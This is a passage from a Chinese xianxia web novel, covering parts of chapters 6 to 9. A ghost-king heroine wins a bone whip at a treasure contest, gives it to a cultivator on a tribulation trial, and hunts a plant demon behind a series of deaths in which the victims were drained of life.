不用说,林子煜已经双目喷火了,他被自己几个师弟师妹按着,才没冲上去和那个姓姬的决一死战。
“家主,那个狐妖,您能看透他的修为吗?”
陌校迟面若金纸,生锈般缓缓摇头。
“这种大能,哪里会看上我们的压物,怎么会参加我们的鉴宝大会?”
“难道,我们这条骨鞭……”
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剩下的话那个陌家修士没敢说下去,他一脸惊恐,求助般看着自家家主,希望听到否定的答案。
陌校迟从刚才开始就神情恍惚,听到这,更是有些站不稳了。他喃喃,声音小得只有自己能听到,
“不会的,姬家狐妖那么多,不会的,不会那么巧的,不会……”
这条骨鞭是陌校迟从拍卖商手上收来的,搭上了陌家一条黑晶矿一年的开采权,就为了给这次鉴宝大会撑场面。
虽然,残害妖类以获其筋骨,是明文禁止的违法行为。但是,很多神兵利器的铸造总是需要一些珍稀材料的,而天材地宝就那么一点儿,哪里够用啊。自然就有人把红了的眼睛投向妖类较为坚硬的躯壳。
有需求,自然就有供给链条,就有相关的市场。不管这市场是否合乎法律道德,巨大的利益驱使,就总会有人做。
其实,现在那些高级灵器上多少都有妖类身体的部分,大家也都心知肚明。
即使修士不主动残杀妖类为自己牟利,去买武器看出什么,难道还会骂武器店老板一通,然后说,“我就要那个绿色无公害的”吗?没有人会嫌自己的武器太锋利。
而且还会在心里自我安慰一番:这个一定用的是犯罪的妖死后的躯体,那店铺老字招牌了,肯定是合法的!拿着这个加持的剑除魔卫道,也算是那妖的一份功德。
就像这一次的骨鞭,什么骨,所有人都清清楚楚,但没有人会闲的到处说。
现在,大会来了个大妖,很难不让人产生联想。
能制成这种顶级骨鞭,那生前定是高级妖修,再想想台上那个红影。
不知道和他有什么关系……
陌家修士都感觉头晕目眩,两股战战。
哪怕这骨鞭不是他们制的,那妖不是他们杀的。那个姬公子又哪里会放过,拿着骨鞭大肆张扬的他们?
陌家已经去紧急联系玄风宗了,可是姬瀛丘要是真要动手,联系什么也来不及啊……
姬瀛丘倒是没什么异动,花枝招展地站在台上,冲下面人群勾勾手指,
“还有谁来呀?”
好像只是单纯想带走骨鞭。
要是这样,那就好办得多了,就当是花钱消灾了。陌家都是这么想的。
江妄却暗暗腹诽:真的,他与花楼老鸨的距离,只差一条手绢。
江妄看到了姬瀛丘刚刚的出场方式,觉得自己也不能失了排面。
只见,一个桶状周围绕着白帘的物体,从人群中拔地而起,以火炮发射的架势,斜射到比试台上,其过程之诡异,不必赘述。
姬瀛丘和台下的小伙伴都惊呆了,半晌才缓缓开口,
“这位……咳咳,你是要来和我比试?”
“正是!在下,江大顺!请姬公子赐教。”
“噗……”姬瀛丘生生被自己的口水卡在那里了。
“江……咳咳咳……咳咳……江姑娘,那我们就开始?”
“等等,我借把剑。”
……
江妄这把剑倒是用上了,边打边想,这狐妖,挺厉害呀。
在不动用魂力的前提下,她可能还真不能一招把他扔下去。
红与白,撞色惊艳,相得益彰。
江妄又是使刀的,剑用不习惯,所以花了不少时间才把那只“红蝴蝶”打扁,让他再也支棱不起来。
姬瀛丘趴在比试台上,后腰被江妄用膝盖死死抵住。
江妄一手抓着他的头发,把他侧脸贴地地按在地上,另一只手反握剑柄,剑尖扎着地面,剑刃直逼姬瀛丘红色高领下那一截雪白的脖颈。
江妄的帷帽早就打掉了,白衣女子不再诡异,倒是在“红蝴蝶”的衬托下,宛如圣女临世,美的不染纤尘。
可那姬瀛丘即便落到这般境地,他还是不慌不忙,一脸欠笑。
他用力偏着头,丝毫不避崭亮的剑刃,
“我知道打是亲骂是爱,但美女你这样深沉的爱我实在是承受不起啊。要不,你先把手松开,哥哥带你去看看什么是真正的…爱…”
江妄也笑着,手劲却一点没松,又把那张俊脸往地上使劲碾了碾,
“好啊,鸡哥哥。”
7. 第 7 章
“我去,轻点,轻点,哥哥错了。嘶啊啊……松手!松手!姐姐!您是我姐姐,成吗?”
这大庭广众的,确实不好教训妖,江妄在他身上下了追踪符,松开抓着他头发那只手,刚要起身,就感觉那只手滑腻腻的。
江妄顿时无比嫌弃,好好的一个花公子,咋还不洗头呢?
江妄用力在姬瀛丘的红衣服上擦着手,
“妖要讲卫生,你知道吗?勤洗手,勤洗脸,勤洗头。”
姬瀛丘瞬间明白了江妄的意思,更加崩溃,
“那是发油!发油,你懂吗?听香楼最新款山茶精油,你懂吗?我今天新做的造型,我都没怪你,你知道我这一身多少……”
江妄很完美地施了个禁言,拍拍手,徒留姬瀛丘在地上用力努嘴。
陌家修士都傻了,这反转来的太快,他们有点跟不上节奏。这纯纯的神仙打架了吧,他们现在已经不求能得到点什么了,不牵扯他们就行……
还是江妄先开口,
“骨鞭,就归我了吧?”
归你,归你,赶紧拿走吧!
陌校迟还怔愣地站在那里,在自家修士的提醒下被迫上台,
“汝陵第二百七十七届鉴宝大会,江姑娘获胜。本届压物虽由我陌家提供,但原也不是陌家所有,如今交由江姑娘,不敢忝求姑娘做事,只当结个善缘。”
一段话说的漂漂亮亮,也是在向姬瀛丘解释。
……
江妄往旅店走,一路上所有人都自觉给她让路,江妄见状更是昂首挺胸,大步流星,心想:
看见没?这,就是鬼王的气势!
直到那叽叽喳喳的声音从背后响起。
好啊,她还没去找他,自己就送上门来了?
姬瀛丘已经把自己捯饬立整了,又换了一身更加骚包的高领红衣,好家伙,这回胸口绣着大金花。
“姐姐?江姐姐?你等等,我有话跟你说……”
见江妄不搭理他,姬瀛丘又跳到江妄面前,跟着江妄脚步倒着走,几次被衣摆绊倒,
“江姐姐,那个骨鞭我真有用,你把它让给我,好不?”
江妄看都不看他,“不好。”
说罢,江妄避开他继续往前走。
“江姐姐,求你了嘛……”姬瀛丘又追上来,无比油腻的挤眉弄眼,压低嗓音,
“这样,你把骨鞭给我,我让你睡一个月,这买卖划算吧……”
江妄:……
天呐,厚颜无耻这个词都出新的境界了吗?
江妄咧唇一笑,
“好啊,不过我喜欢在城郊。”
姬瀛丘兴奋状,眉毛乱飞,
“想不到,你是这样的江姐姐……”
……
汝陵城郊。
“别打脸啊!”
“啊啊啊……你这是什么功法?指定不是灵力吧……”
“疼,疼,啊啊啊啊啊啊阿……”
哗啦啦惊起一片飞鸟。
很好,姬公子刚刚换上第二套时装成功报废。
“你知道我这套花我多少钱!啊?!江大顺,是吧,我记住你…了…啊啊啊啊啊……”
“好好的妖不学好,虞山怎么就出了你这么个败类,吸灵气就算了,吸人血肉,你也不嫌恶心。
话说你是怎么做到不在尸体上留妖气的呢?算了,我也懒得听,一会儿我就把你拉到玄风宗去,你去跟他们解释吧……”说着,江妄又是一脚踹在红衣服的大金花上。
“我什么时候吸……唔,啊啊啊”
大金花又挨了一脚。
“还不承认了?”
“我他妈……×&%¥#@……”
……
江妄也打累了,坐在旁边的树上,看着地上被捆着的正前后蠕动的一坨红,准备一会给这个红蝴蝶,啊不,现在是红蚕蛹,送玄风宗去。
地上那个脸都肿了半边的正在有气无力的嘤嘤嘤,三只金簪歪歪斜斜挂在头发上,
“我真没吸人灵气啊!呜呜呜……我可是姬家的少主啊,要啥资源没有啊,我至于吗,去吸人!再说,我为妖老正派了,几天前还见义勇为抓着一个树妖呢,他才是吸人灵气了吧……可惜让他跑了……”
江妄一开始没当回事儿,越听越不对劲,她从树上一跃而下,
“你说什么?是一个树妖吸人灵气?可是我在来福旅店感觉到一股妖气,正是你这身上的妖气!”
“那是因为我看见那个旅店后头有像是有植物异变,本来想去打个招呼的,万一是个可爱的树妹妹呢?如果她用藤条……想想就激动……额,谁想撞上了凶案现场,我就一路追出来了,当然有我的妖气啊……”
“不是你?那你怎么不早说?”
“你他爹给我时间说了吗?!啊?”
……
江妄沉默给姬瀛丘松绑。
姬瀛丘扶正自己头上的金簪,拉紧领口,呸呸吐着嘴里的土,“这都什么事儿啊……”
姬瀛丘从上拍到下,可惜这衣服确实是没救了,他刚刚穿上它半个时辰都没到啊……
“赔钱!!衣服钱,伤药钱,浪费时间钱,精神损失钱……”
“哦哦,好的。”江妄假装从袖子里掏出几颗灵石。
哪想姬瀛丘刚一接过,就又扔了回去,
“你骗鬼呢!?”
是鬼骗你呀。唉,遇着识货的了。江妄摊手,开始摆烂,
“我没钱。”
“你……”姬瀛丘刚要开始嗷嗷叫,突然眼珠子一转,
“你把那骨鞭赔给我吧,你修为在那放着,留着这种等级的武器也没有用。给我,不但这桩事一笔勾销了,我之前答应姐姐的还作数,怎样?怎么说都是你划算。”
江妄一把推开他的油腻脑袋,扬眉,
“不给。你能怎样?”
“你……”姬瀛丘委屈地不得了,“你不讲理……”
江妄大步往城中走,姬瀛丘一路小跑絮絮叨叨地跟着,经过江妄的拳头威胁倒是不上手了,江妄也就不做理会。
进城没过一会儿,可能是觉得自己形象太过不佳,又或者是自己都给自己絮叨烦了,红蝴蝶终于不跟着了,江妄长长舒了一口气。
回到旅店。
一进门,江妄就看见陌离坐在靠门的那桌椅子上,显然是在等人。等谁?江妄心里很清楚。
陌离换了一身白色劲装,更衬得他面若冠玉,气质翩然,听见响动微微侧头,清凌凌地看过来。
江妄很给面子地主动上前,
“公子,好巧啊。”江妄很自然地整理衣摆在他对面坐下,顺手把帷帽放在桌子上,
“我还想着你会参加鉴宝大会呢,不过还好你没参加,不然我哪能捞着这骨鞭啊。”江妄笑笑,倒了一杯茶喝起来。
“姑娘过谦了。”陌离没有接江妄的马屁,低头看着自己手中的茶盏,面露犹豫之色,刚要开口继续说什么。
江妄又是很给面子,直接掏出骨鞭往陌离怀里一怼,
“送你了。”
……
旅店大门开着,阳光在女孩面庞上停留,镀了一层薄薄的金,金漾着粉,粉里是女孩明媚的笑。
陌离突然不知道怎么办的好。他直觉告诉自己一定要得到这条骨鞭,不然一定会后悔。可是他没有什么可以和这条骨鞭换的东西。
他手里灵石是不少,因为遥岑给他的月俸很丰厚,他几乎没花过。可是这姑娘实力不俗,不像是会缺灵石的人,她能为了这骨鞭上台一次,应该是很喜欢的。
而他是大乘境,平时又不爱留着自己用不上的法器符箓之类的东西,这次历劫也只是带了一些伤药。至于那些比较珍贵的,都是能保命的,不到万不得已用不得。
历劫凶险,虽然失败了也没什么,但他得活着。最起码他还要再活个八九年,他要等雪境再开一次。
陌离从鉴宝大会结束后就一直在思考,如何才能让那个白衣姑娘把骨鞭给他,毕竟动手胜算不大。
他想了种种,唯独没想到,那姑娘没等自己开口讨要,便主动送给了自己。
这时候推拒也是矫情了,陌离只当自己承了那姑娘一份情,
“多谢姑娘,日后有需要尽管上遥岑宗找我。”说着,陌离拿出那块那天晚上给守城弟子看的腰牌递给江妄。
这其实是陌离自己的腰牌。
他送出这块腰牌,相当于把自己的身份、名誉,甚至是遥岑宗的名誉,都送出去了。他没想这么做应不应该,就是做了。
又是莫名其妙的行为。他想。不单单是为了这骨鞭。
陌离看着面前的姑娘,那些莫名的情绪好像都和她有关。
就像现在,白衣如画,阳光好像要揉碎她的身影,陌离却有一种要流泪的冲动。
他一早就怀疑她是故人了。
且不论声音,那都可以改变。
关键是一年前分别时她还是元婴境,现在却有化神以上的实力。这样的进阶速度快到不可能。
再说,如果江大顺是她,她不会是这个态度。
但又或许,她心血来潮在玩什么假装不认识……无所谓,无所谓不是吗,江大顺是不是她,有什么要紧。
江妄懒散笑笑,收了那腰牌,然后就支着下巴直直地看着陌离那双琉璃般清透的眸子,硬是把陌离看得低下了头去。
两人都不再说话,各自做自己的事情,一人看茶盏,一人看那个看茶盏的人,无端有种岁月静好的感觉。
这二人在一起的时候总是这样,总是一种近乎冷场又莫名和谐的氛围。
不知道多久后,陌离轻轻开口,他的视线没有离开手中的茶盏,以一种飘忽的语气,
“为什么?”
为什么知道我想要这骨鞭?为什么把骨鞭就这么送给我?为什么……
太多个为什么,也许陌离自己其实也不知道问的是什么,最后只是一句没头脑的,“为什么”。
“我觉得你会想要这条骨鞭。”女孩清丽的音色唤回陌离心神,霎时云散风徐。
是江妄回答出声。她眉眼弯弯地笑着,浑身的重心都在桌子上,给出了一个很不经意的答案。
我觉得你想要,所以送给你。
所以没有为什么。
陌离怔愣了很久,久到女孩已经收回了笑容。
因为,我想要吗?
陌离捏紧了手中茶盏,无声张了张嘴,千言万语从胸腔上泛,在喉间拥挤,一时间竟是什么也说不出了。
我知道,如果你是她,过不了多久装不认识装累了,你肯定是会自己揭秘的,没准哪天就突然蹦出来一句,“我其实就是蒋六啊,嘿嘿,想不到我长这个样子吧!一年不见,惊不惊喜?”我完全能想到那个场景。所以,无所谓,是与不是我总会知道的。
但是现在,我突然没那么无所谓了,很想知道,立刻想知道。
陌离抬起头,看进女孩的眼睛,
“你,一年前去过雪境吗?”他尾音很轻,轻到几乎与呼吸声相容,明明是疑问的语气,却愣是叫人听出一股紧
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张和期盼。
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雪境啊……
有言道:雪落十年,人间一观。
即是说这雪境,每隔十年在下界出现一次,每次出现开放一年。
要仅是这样,它不过是个以十一年为周期的秘境罢了。但奇就奇在,雪境开放的这一年,整个下界都不会下雪,哪怕是最最严寒的地方,那一年日日晴空万里。
好像是过去十年下的雪不曾融化,通通积攒起来,在这一年里、这一个凭空出现的空间里,全部活过来了似的,疯狂跳跃、飞舞、坠落、堆积。然后,这一年结束后,又挣脱牢笼,重新奔向山川河海,牺牲自己拥吻着人间。
让人不禁心生妄然:也许天公从不下雪,是这一岁雪境成全了十年落雪。
充满了浪漫色彩。
而这以“雪”为名的秘境,实实在在是“千里冰封,万里雪飘。”抬眼望去,天外的云与远山的雪共色,一片苍茫的白,地白风色寒,让人分不清时间和空间的轮转。
雪是什么?
也许是雨的致死浪漫,是冷的温柔转圜。
雨能冲刷干净血色,但唯有雪能覆盖黑暗与罪恶。它染白过往,度化堕于回忆的灵魂,麻痹时间,给未来向美向好的勇气。
修士修心修境界,往往步入瓶颈,不是为别的,正是差了“心”这一块。
人非圣贤,孰能无过。哪里真有那尽善尽美的人生,事事顺心的命途呢?
于是,总想着去弥补过去。
用一些现有的,去填补从前缺失的,人之常情嘛。有时补上了,也就释怀了。
可大家都知道,并不是所有过去都可以用现在来弥补的。
悟道修真,不过就是不断舍弃的过程。舍弃那些遗憾愧悔,那些永远没有机会填上的空缺。
只是往往学会舍弃,是需要大量时间的。甚至一些舍弃所需要的时间,比我们的寿数还要长,俗称:至死无法忘怀。
人体的自我保护机能正是如此。所谓放下,是其他方面的得到;所谓忘记,是时间的麻痹。
而我们说,雪境的功效就在于一个“速”字,风雪时空可以调整你对于某一段记忆的时间概念,说白了,就是加快你遗忘的速度。
曾经有位仙君说:“真正的遗忘不是不再想起,而是想起时,心不会再有一丝波澜。”这也许是对雪境最好的解释。
雪境不是让你失忆,相反,所有的一切你都记得真真的,甚至是细枝末节。
只是你不会再因为那段记忆而产生激烈的、影响心境的情绪。明明上个月发生的事儿,再想起时却像是百年前的一样,那些轰烈的人和物,像是一段蒙了尘的留影石放出的别人的故事。
要是有人问,我出了雪境却还因为那件事有情绪怎么办?
这种,不常见。毕竟人类的情绪再强烈,也强不过时间。但没事儿,缓个十年,再进一次雪境。实在不行,就再再进一次。
有什么样的爱恨,能禁得住几千年上万年的冲刷呢?
从结果上看,人的心境平稳了。
它就像止痛药,见效快,效力强,省时省力。但是,在不注意的地方,创口仍在流血,甚至化脓。只是,那又如何呢?我不疼了,那就没关系了。
然而雪境这样一个心灵“洗涤”中心,却有一个看似与其核心思想相矛盾的东西:
谏往之镜。
谏往镜,可追尘。
通过这面镜子,你能看到一切和你有关的因果。甚至你可以看到你的前世今生,只要你愿意付出相应的代价。
雪境让你忘,它让你想起来。
但其实,也不算矛盾吧。因为,记得与遗忘不那么绝对。
遗忘不代表失忆,而有时候正是因为看透了,看破了,全知道了,知道自己只是渺渺因果循环里的一环,就明悟了,放下了吧。
--
江妄的双眼在一瞬间浮上一层薄薄的黑气,但转瞬即逝,
“雪境我是去过的。但是你说一年前,”江妄笑着摊手,像是无奈一般,
“我不记得了。”
“不记得?”怎么可能呢?一年前的事情啊,怎么可能不记得呢?除非,她是鬼,那么,记忆缺失也是可能。
陌离不知道自己怎么又想到了这个怀疑。
如果她是蒋六,那她就不可能是鬼了。毕竟化鬼的话,修为怎会不减反增?
而如果她不是蒋六……不是蒋六的话,是人是鬼,与自己何干?
陌离突然明白自己那天晚上看见她满身鬼气就急急出剑时的情绪了。
应该是害怕那一类的。
他很怕那个雪境里相识的北界姑娘,在自己看不见的地方,已经死了,还成了鬼。
“就是不记得了啊。”江妄有恃无恐的笑,目光炯炯回望陌离,那姿态又好像在暗示什么。
陌离一时无言。
夕阳已斜,天大面积被染红,壮烈又惆怅。那滴血般的红无限蔓延,延伸到女孩深邃的眼眸里,渲染进陌离悠悠晃晃的茶水中。
风很好。
江妄久视眼酸,便垂下眼,不再看陌离那张绝美容颜,笑容微微敛起,不知是想到了什么,她言:
“说到雪境,我想起,从前有一人托我办事来着。”江妄看着自己放在桌面上的手,
“可惜了,我是办不到了。”
女孩在霞光里,喃喃地,不像在求人,倒像在叹息。
“公子啊,若是有机会,你可不可以帮我那个朋友一把啊。权当,今日骨鞭的报酬了。”
8. 第 8 章
“好。”陌离神色认真。
江妄眸中染光,笑意流淌,很容易带动别人的情绪,
“那就,多谢公子了。”
照理来说,陌离会客套两句什么“应该做的”、“不必言谢”之类的。
可是他恍然看着女孩被夕阳染红的笑脸,只是低下头,小声地“嗯”了一下,竟是应了这句谢。
江妄看着他,突然轻笑出声,声音越来越大,大有止不住的趋势。
她双手用力撑在桌子上,头俯下去,肆意张狂地笑着,一抽一抽的,末了实在是没力气,只好抬头。
一楼声音嘈杂,江妄的笑声倒是不显突兀,根本没有什么人看向这边。陌离却觉得椅子有些烫,站也不是,坐也不是。看女孩笑够了抬头,他有些不好意思又实在好奇,便问,
“姑娘为何发笑?”
江妄此人,一贯不正经。女孩面容清丽,眼尾润湿,好像还没喘匀气儿,此时又噙着笑,慢悠悠地答,
“笑你好看啊……”
……
大乘境历劫,主要是历心境,为期四百二十日,把历劫者的修为压到元婴境,并且历劫期间不允许易容。
所谓历心境,自然是要历劫者通过所遇到的事情来体现,往往悄无声息就开始了。
也许有人会想,那这四百二十天就找个犄角旮旯躲着,不就什么事儿都遇不着了?
怎么可能有这种漏子,什么也不做,那就是没有试炼结果。虽然历劫失败了也不会怎么着,该咋活咋活,但毕竟历劫飞升的机会只有一次啊,谁能不珍惜?
所以大多数历劫者都是主动往事儿上撞,早历早完事,虽然期限四百二十日,但没说不能“提前交卷”不是?
而且,自己找事历,相当于自己“选考题”了,不是轻松加愉快?
陌离就是想选张扶风身死一案,作为自己的历劫试炼。
这是陌离从遥岑宗出来遇上的第一起事件,他觉得查一人死因而已,无甚困难,便卷了进来。不想几日下来,没有半点进展。
他注意到张扶风房间的窗户上有被抽打过的痕迹,而且那张扶风不仅仅是被抽干了灵气,他皮囊下的血肉精气也所剩无几。
这一般不像是邪修会做的。毕竟,人的血肉对人类来说没什么用,当然变态除外。
他觉得凶手有极大可能是妖。
雁过留痕,妖吸人灵力,尸体上是绝对不可能没有痕迹的。
可是张扶风身上一点妖力残余也没有,案发现场更是干干净净。
要知道,虽然有的修为高深的大妖可以隐藏妖气,或者有的用一些特殊珍宝也可以抹去妖气,但说的是平时。
可这是杀人,还是吸人血肉修为。该妖是一定要把自己的身体部分或者是妖力,探入受害者身体的。不然是怎么吸的?难道隔空吸吗?
再厉害的妖也无法控制自己不在尸体上留妖气,所以如若真去害人,他们都采用毁尸来灭迹。
而张扶风的尸体就那么大咧咧地放着。
如果凶手真的是妖,那他确实不用怕,因为整个现场,真的一点能证明是妖类留下的痕迹都没有。
总结:凶手要是妖,那就是“不可能犯罪”,目前作案手法都无法勘破;凶手要是邪修,邪修……这两年,汝陵连邪修的影子都没见着一个。毕竟,“吸”得致用吧,光吸不用,都不出来嘚瑟,不是吸了个寂寞?
事情真的很棘手。
陌离时刻关注着玄风宗他们的进展。却得知,原来张扶风惨死并不是个例。
最早有记录的干尸是三个月前,接着陆陆续续一直出现。受害者生前都是修为低下的普通百姓,据推测,应该还都是一些社交面小,没什么人注意的人。
因为从没有人为他们的死闹出什么大动静,甚至有的根本不知道死的是谁。汝陵的执法给点钱封个口,大家都忙着生活,没谁闲的到处说。
其实也不怪汝陵城这么做,毫无头绪的案子,一连串地发生,受害者又死状可怖,闹得人尽皆知也只会造成恐慌。现场一点妖气没有,他们也没有办法,只能暗地里抓邪修。
而且他们认为受害者都修为低下,说明凶手的修为不高,危害也不是极大,并没有太重视。
可这一次不一样,死的是宿芳宫的弟子。好像还不是一般弟子,那宿芳宫的林子煜到现在都留在汝陵,等着玄风宗给说法。更要命的是,已经惊动了遥岑宗了。
玄风宗立刻派高层来接待,巧的是他们派的这位高层,偶然见过陌离这个“修界宅男”一次,认出了陌离仙君,当即吓得都快要晕过去了。
陌离也无奈,只能跟他说不必紧张,而且切勿暴露自己身份,又逼他指心立誓绝不声张关于自己在汝陵的事。那人只能照做,保证守口如瓶,但是不紧张……就有点难了。
他迅速惩治了汝陵城守,责其瞒报之罪。那城守也是声泪俱下地忏悔,说自己实在是一时糊涂,因为怕玄风宗觉得自己无能,擅自压下来什么什么……
陌离根本不关心玄风宗是不是真的毫不知情,他又不是真的代表遥岑来的,他只是想快点查明案情,完成试炼。
可哪怕知道了这是连环案件,也没有太大的帮助,受害者个个被抽干,现场全都和张扶风案一样。
还是毫无头绪。
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江妄这边也跟着想看后续。自从知道了杀害张扶风的凶手是树妖后,就有了方向。至于为什么现场没有妖气,江妄没有过分执着,毕竟天下之大,无奇不有嘛。
她有时恢复魂体,看玄风宗他们无头苍蝇般乱搞,但也能知道不少东西。
很快,继张扶风后,又有了受害人,还是那样的死状。
就是昨晚上的事。
受害者事是宅院里的女使,剖开尸体一看筋脉,大约是练气中期的修为。那家人说,这女使白日里一直在主子身边伺候,只晚饭后回去歇了会儿。本该是她上夜,她迟迟不来,同伴去催,这就发现了。
现在全城戒严,人人都知邪修作乱,也不敢耽搁,立刻上报,玄风宗的人不到半个时辰就到了。
江妄也跟着飘去现场看了,挺偏的一宅子。那附近没有任何传送阵法的使用痕迹,应该是那树妖怕玄风宗的人反向追踪。
受害者之中练气境居多,筑基境的都是少见,那树妖的修为绝不会大过金丹去。哪怕它动用妖力并不留痕迹,可以随意使用妖力缩地,但修为不高,一次缩不了多少,频率也不行,到底跑不了多远。
那女使应该是刚遇害不久就被发现了,玄风宗又来得快,这些时间不够树妖逃到市中心那些人流多的地方。
江妄迅速拘来了女使的魂魄。
这次阴差勤勉,来得快,就跟着女使魂魄被江妄拘了来。他一看江妄这气势,吓的鹌鹑般站在旁边,极力缩小自己的存在感。
女使生前实力、地位都算不上好,地府便随便派个小阴差来,哪想到遇上江妄这个煞星。
江妄抬手搜女使的记忆,她要看那树妖的模样。
小阴差咬咬牙冲上来冒死阻拦,声音都颤颤巍巍的,“大人,您这一下,这魂魄怕是要傻了。”
江妄甩袖把阴差扒拉到一边儿,手中停都没停,“那我帮你们孟婆省事儿了,你该答谢我才是。”
小阴差泪奔了,“大人!”他这次没敢冲上来,只期期艾艾站在一边,“这不合规矩啊……”
江妄搜完,把魂魄扔给他,
“在这地面儿上,我就是规矩。”她拍拍手笑道。
小阴差看着江妄唇边那抹笑,呆了呆,突然就忘了哭,生生憋出个嗝来。
江妄看他这蠢样,笑出了声,嘴角弧度明明是扩大了,但却感觉少了锋利,温和许多。她一挥袖子,一缕魂力进入女使魂魄里。
江妄对那小阴差笑笑,
“去吧,她不会傻了。哎别哭丧个脸了,好好当差,啊。”
白衣女子消失在原地。
小阴差拉着他勾的魂魄,暗暗地想,这位大人,真好看啊……是他见过最好看的女鬼了。
江妄立刻招来江大宝等鬼,用魂力在空中化出那树妖的模样,让他们看。又依着时间大概算了一下那妖跑的距离,以宅子为出发点,各个方向都派鬼去寻。吩咐不必拘泥相貌,身形气质相似者都不放过,发现了联系江大宝、路清嘉,然后再由他们俩迅速给江妄发通信印。
最后,江妄成功抓到了那个树妖。
那树妖连样貌都没改,看江妄突然现身用魂力捆了他,连个挣扎都没有,安静得很。
还得是江妄问他,“可知我为何捆你?”
“知道。”这两个字音调很平,一如树妖毫无波澜。
江妄看着男妖,他浅黄色的衣衫不见半点鲜血,墨绿色的短发服帖顺在耳后,不见散乱。衣冠楚楚的样子,此时被束缚也面色平静,完全看不出是杀人饮血丧心病狂的妖物。
真是奇了。
“这么说,你是认了?吸人灵力血肉?”
那树妖闭上了眼睛。
江妄哼笑了一声,“那我也让你尝尝被抽干的滋味,如何?”
树妖抖了两下,但始终没睁开眼睛,满脸的要杀要剐悉听尊便。
江妄踱步走到他面前,“这样,你回答我一个问题,我给你个痛快。”
树妖睁开眼睛,他与江妄对视,
“问。”
“我听说你这么干也不是一天两天了,怎么,以前都是找独居人士下手,现在改口味了?前一个宿芳宫弟子,后一个大家族女使,你这是生怕玄风宗不知道啊。”
树妖轻轻地笑了一下,却没回答。
江妄也不惯着他,鬼气探入他身体,剥夺着他的妖力。
“……我说。”
江妄停手,微笑,“怎么又要说了?”
“真让你吸干,难看。”看着脸上挂着假笑等答案的白衣女鬼,他说,
“我不想活了。”
半晌,江妄没等来后续,“完了?”
“嗯。”
……
“你不想活了自我了解就是,何苦折腾别人呢?”眼看着男妖又要开始沉默,江妄赶紧催他,“快说!”
男妖却不知想到什么,软了神情,嘴角勾起一个浅浅的笑,他语气缱绻,“我爱着一
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个女妖,想她好好的。”
江妄无语,“这都哪跟哪啊?”
“这是我唯一能告诉你的那部分。你不满意,吸干也算了。”他说话语速慢慢的,很平和,也温柔。
其实,江妄好像明白点儿了。
她叹一声,“有爱的人,想保护她,怎存死志啊。觉得自己罪孽深重?”
“那倒不是。只是,这活儿太恶心了。”说到这,可能是过于愤懑,男妖燃起了诉说欲,“我这头发,就是有回沾到了不干净的东西,才给剪了。”
江妄:……
江妄最后给了他一掌。
她想,若是肉身上有什么限制,魂魄上不一定有,也许能问点东西出来。却始终没拘来男妖的魂魄。
只要他没进地府的大门,江妄都有办法给他逮过来。这么说吧,整个下界的魂魄类物种,不管化没化鬼,都得听江妄这个鬼王的。反正江妄自己是这么觉得的。
一炷香后。
不能啊……江妄心想,这么长时间了,魂魄不可能不离体。而只要魂魄离体,不是她自负,就在她眼皮子低下,她怎么可能一点儿感觉都没有?再说了,也没见有阴差过来啊……
那么,只有一种可能,这个树妖,魂飞魄散了。
这世间,魂魄总量是个常量,是要固定不变的。
因此,规则禁止任何形式的魂魄数减少。任何人都没有能力灭杀魂魄,这个任何人,包括自己。
但例外肯定是有的。
就像鬼这个违规物种,可以被人灭杀,又或者执念消去后魂飞魄散。
除了鬼之外,还有。
江妄就知道一个人,专门做魂魄生意。
这件事……
江妄看着地上那截缀着几撮小花的藤,小花黄的白的都有,相互映衬,很是雅致。
啊,搞错了,这也不是树妖啊。原来是个金银花精啊。
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玄风宗在汝陵到处戒严抓邪修,走到哪都要核实身份,江妄这种大黑户除非恢复魂体哪敢自己上街。
其实她也有法子,就是她懒得费这个脑子。
于是正当她百无聊赖趴在二楼栏杆上,捕捉到陌离要往门外走的身影时,江妄一阵风似的连飞带滚下楼,直接一头栽到陌离身边,刚刹住车,就迫不及待开口,
“公子出去啊,带上我吧!”
不等陌离反驳,她就扯住陌离腰侧的衣摆,本来是想扯衣袖的,奈何陌离把衣袖扎起来了。星星眼开始猛女撒娇,
“最近有邪修嘛,我自己一个人害怕……”
陌离:……
但是他没说什么,默许了江妄根本就是无理取闹的行为,也并没有拽回自己被江妄握在手里的衣摆,只是继续往前走。
江妄见好就收,松了手,嘿嘿两声跟在后头。
江妄一路上也不多话,就陌离走哪她跟到哪,然后发现他去了好几个地方,然后在那周围向人打听妖修啊,干尸啊的事儿,显然是在查张扶风那个案子。
原来那几个地方都是出现过干尸的现场。
陌离好像很在意这个张扶风死这件事。她几次恢复魂体去看玄风宗的人查案,陌离基本都在。她觉得这不像陌离的做派,但一直没深想。
江妄自己也挺关心这个案子的,一个是因为她随口答应张扶风了,但最主要是因为,她闲啊,又好奇得很。
可她都没有这么上心的查,一上午接连辗转多个地方,现在大中午的,还顶着毒辣大太阳到处跑。
她记得,陌离不是多管闲事儿的人啊……
那是跟“管闲事”三字边儿都不沾,可以说是遇事能避则避,冷漠透了。
因此,江妄总觉得,陌离要比自己适合无情道太多。他要是修无情道,连雪境都不用去。
可现在……这么积极……
再联想到他现在差不多元婴境的修为。
陌离是在,历劫吧……
江妄突然停住脚步,她头垂得很低,叫人看不清神色,以致于没人看见,她樱红唇角在阴影里勾起一个怪异的弧度,眼睛里迸射出血红的幽光来。
原来是,历劫啊,哈哈哈哈哈哈哈哈哈哈哈哈哈哈
……
陌离走着走着骤觉好像少了点儿什么,回头一看,那个白裙姑娘早就不见了踪影。他没来由的感觉一阵心慌,他抬起手按压在心脏处,是某种共鸣下的阵痛,淡淡的,却足以让人感到不适。
他明知她修为不凡,有危险的可能性几乎为零,应该是耐不住热回去了。他之前就注意到了,她不喜日照。
但陌离就是有一种莫名的着急,几乎有种立刻折回去找她的冲动。这种莫名感从他见到她开始就如附骨之疽侵入他的身体。不是因为心中那些疑问,也不是为别的,就是单纯的感觉,像是身体的本能反应。
陌离用力摇了摇头,把那些杂乱思绪甩开,继续往前走。
走了没一会儿,陌离就停了下来,他抬头看天,灼烈的光线刺得他眼睛都眯了起来。中午了,确实是该找个地方歇歇脚了……
又或者,是等一等某个不知道会不会跟上来的人……
9. 第 9 章
陌离走向街边的茶摊,要了一杯凉茶。他坐在木制小横凳上,两条大长腿分开,被矮桌挤得蜷起来,好不委屈。
茶摊人进人出喧哗吵闹,陌离倒是浑然不觉,好似老僧入定,面上连不耐的表情都找不见。
也不知道是不是陌离的影响力过大了,整个茶摊都慢慢的静下来了,好像是时空不忍打搅这个神仙似的美人儿。
周围的人慢下了手中的事儿,通通转过来看着陌离,窃窃私语,陌离依旧毫无所觉,眼底是凉茶的微微波纹。
